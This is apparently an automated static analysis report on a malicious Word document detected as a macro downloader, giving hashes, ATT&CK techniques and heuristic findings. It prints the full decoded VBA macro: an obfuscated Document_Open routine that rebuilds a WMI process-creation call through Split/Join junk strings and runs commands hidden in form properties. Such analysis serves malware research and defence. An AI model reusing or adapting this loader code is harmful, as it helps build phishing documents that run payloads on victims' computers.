Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00f4cf3765911207…

MALICIOUS

Office (OLE)

171.9 KB Created: 2020-08-07 21:57:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: a6e6773c0aff43d6973d896b068a1260 SHA-1: ff74a2c06e211800cba216187c6de65730627614 SHA-256: 00f4cf37659112079af518ca20cdf2cd80bd41a63c0bcf4cde328cd476fcd952
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of a downloader. The presence of a ClamAV detection for 'Doc.Downloader.Sagent-9241484-0' further supports this. The macro likely attempts to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-9241484-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9241484-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3994 bytes
SHA-256: 5d99dea1bd959225d228b7ac48182fb73f8c2e41ad3681b5f282b862a6f65927
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SIITHbacqxcwr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
YOCWDbxrmatvtwl.WZOGSdtlcvovnpxbxxu
End Sub


Attribute VB_Name = "YOCWDbxrmatvtwl"
Attribute VB_Base = "0{A169C5E0-CDCF-40E1-A929-705AB2863DE4}{ACAEB724-FAE0-40C7-AF78-E2EC2F1F8CFE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function WZOGSdtlcvovnpxbxxu()
Dim j1Ì6Î As Integer
j1Ì6Î = 9
Do While j1Ì6Î < 9 + 9
j1Ì6Î = j1Ì6Î + 1: DoEvents
Loop
Dim QaWytUTJ As Integer
QaWytUTJ = Len("nyb6ÜfY")
Dim EMdBhGoOL As Integer
EMdBhGoOL = Len("UXBm")
RTBHTihzfrvpjshqf = Chr(YOCWDbxrmatvtwl.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim AVRUMwK As Object
ZUZAFifahtsseieigqf = "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsi3833h4*hh^@njhs72g hus7777bsnm3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsgm3833h4*hh^@njhs72g hus7777bst3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs" + RTBHTihzfrvpjshqf + "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs:3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsin3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs33833h4*hh^@njhs72g hus7777bs23833h4*hh^@njhs72g hus7777bs_3833h4*hh^@njhs72g hus7777bs" + YOCWDbxrmatvtwl.GXWSUdkvjelpyqsqdd + "3833h4*hh^@njhs72g hus7777bsro3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsce3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bs"
Dim MoLW As Object
NTZKNprlwxxkhrmgnwj = NUQPUptdubayxluopjq(ZUZAFifahtsseieigqf)
Dim aXw As Integer
aXw = 1
Do While aXw < 1 + 8
aXw = aXw + 9: DoEvents
Loop
Set QMCFCkpleyrfna = CreateObject(NTZKNprlwxxkhrmgnwj)
Dim O1åA As Integer
O1åA = 6
Do While O1åA < 6 + 6
O1åA = O1åA + 3: DoEvents
Loop
SWOGRoyflkibuhipe = YOCWDbxrmatvtwl.AVSDBfrewlkjxaujxt.ControlTipText
Dim BZ1ÎWrm As Boolean
BBMAKxshiktrdwek = b3 + (NTZKNprlwxxkhrmgnwj + RTBHTihzfrvpjshqf + YOCWDbxrmatvtwl.RDWJUluyhhbxyjnyg.ControlTipText + SWOGRoyflkibuhipe)
Dim Lhs8ÝW8ÃZV As Integer
Lhs8ÝW8ÃZV = 4
Do While Lhs8ÝW8ÃZV < 4 + 5
Lhs8ÝW8ÃZV = Lhs8ÝW8ÃZV + 2: DoEvents
Loop
XMWDIshbroqdya = BBMAKxshiktrdwek + YOCWDbxrmatvtwl.GXWSUdkvjelpyqsqdd
Dim P3áOQ As Object
Set YHXZIjnxzfeitjckwd = RMFUXhpzhdpcrqu(XMWDIshbroqdya)
Dim fYLYIDH As Integer
fYLYIDH = Len("ZQfY")
s = Array(v + "is", QMCFCkpleyrfna. _
Create(IOYHNxsyesagp, EYYERvyihypxiphu, YHXZIjnxzfeitjckwd), i + "rt")
Dim qZNvlj As Double
End Function
Function RMFUXhpzhdpcrqu(EYJUQzweoznaqo)
Set RMFUXhpzhdpcrqu = CreateObject(EYJUQzweoznaqo)
Dim oFNsCjHpPN As Double
RMFUXhpzhdpcrqu. _
showwindow = PMKYJppvcxnyf + EBYZLbhzbvtcdvlp + XKBMNepuiijpy
Dim w0ÎjMvtMr As Byte
End Function
Function NUQPUptdubayxluopjq(OIVGVeqwyfbmxgxaqi)
IBJUCybtnfkuhxgh = OIVGVeqwyfbmxgxaqi
Dim rrv As Integer
rrv = 3
Do While rrv < 3 + 1
rrv = rrv + 4: DoEvents
Loop
SBHNVrpagytojtjqvtq = Split _
(IBJUCybtnfkuhxgh, "3833h4*hh^@njhs72g hus7777bs")
Dim uRbu4Äf As Integer
uRbu4Äf = 8
Do While uRbu4Äf < 8 + 6
uRbu4Äf = uRbu4Äf + 2: DoEvents
Loop
ARAJOlqdvlpqxtv = e2 + Join(SBHNVrpagytojtjqvtq, w1)
Dim wE8e As Date
NUQPUptdubayxluopjq = ARAJOlqdvlpqxtv
Dim II0Í6àm8È As Variant
End Function
Function IOYHNxsyesagp()
q = YOCWDbxrmatvtwl.CKMDUoqjkggxwwzvkz.Pages((2 * 5) / 10).Caption
Dim KcJ2ÑZNvlja As Integer
KcJ2ÑZNvlja = 4
Do While KcJ2ÑZNvlja < 4 + 5
KcJ2ÑZNvlja = KcJ2ÑZNvlja + 2: DoEvents
Loop
IOYHNxsyesagp = NUQPUptdubayxluopjq(q)
Dim WpUViEN As Integer
WpUViEN = 6
Do While WpUViEN < 6 + 4
WpUViEN = WpUViEN + 4: DoEvents
Loop
End Function